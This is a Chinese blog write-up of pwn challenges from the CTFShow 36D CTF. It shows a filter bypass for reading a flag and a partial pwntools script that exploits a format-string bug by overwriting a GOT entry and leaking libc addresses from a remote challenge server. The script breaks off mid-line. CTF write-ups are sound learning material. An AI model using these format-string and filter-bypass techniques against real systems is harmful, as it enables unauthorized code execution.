CTFSHOW 36D杯CTF(pwn部分wp)

本文是作者参加CTFShow比赛PWN题目的解题分享,包括签到题、babyFmtstr、MagicString、MengxinStack和tang五道题目。题目涉及Linux基本操作、格式化字符串漏洞、getshell技巧等,通过泄露canary、覆盖返回地址等方法实现攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

PWN WP

感谢1p0ch师傅

最近参加了ctf.show举办的一个比赛,做了一下pwn题,以下是我的一些wp,由于本人能力有限,菜的一批,如果有什么不对的地方,请多包含。

PWN_签到

签到题直接nc上去以后发现考察的是linux的基本操作,程序过滤掉了空格,cat,但是我们可以ls查看

more<flag               这里<可以绕过空格

PWN_babyFmtstr

格式化字符串漏洞,我们可以修改got表,这样就有一个无限格式化字符串漏洞的程序了。

#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

sh=remote('124.156.121.112',28028)
#sh=process('./pwn2')
elf=ELF('./pwn2')
#context.log_level='debug'

puts_got=elf.got['puts']
printf_got=elf.got['printf']

memset_addr=elf.got['memset']
#0x0400AA0
payload1='%64c%11$hn%2656c%12$hnAA'+p64(memset_addr+2)+p64(memset_addr)
#gdb.attach(sh)
sh.sendline(payload1)

payload2='AAAA%9$s'+p64(puts_got)

sh.recvuntil('please input name:\n')
#gdb.attach(sh)
sh.sendline(payload2)
sh.recvuntil('Hello AAAA')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
print  ('puts_addr:' +hex(pu
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值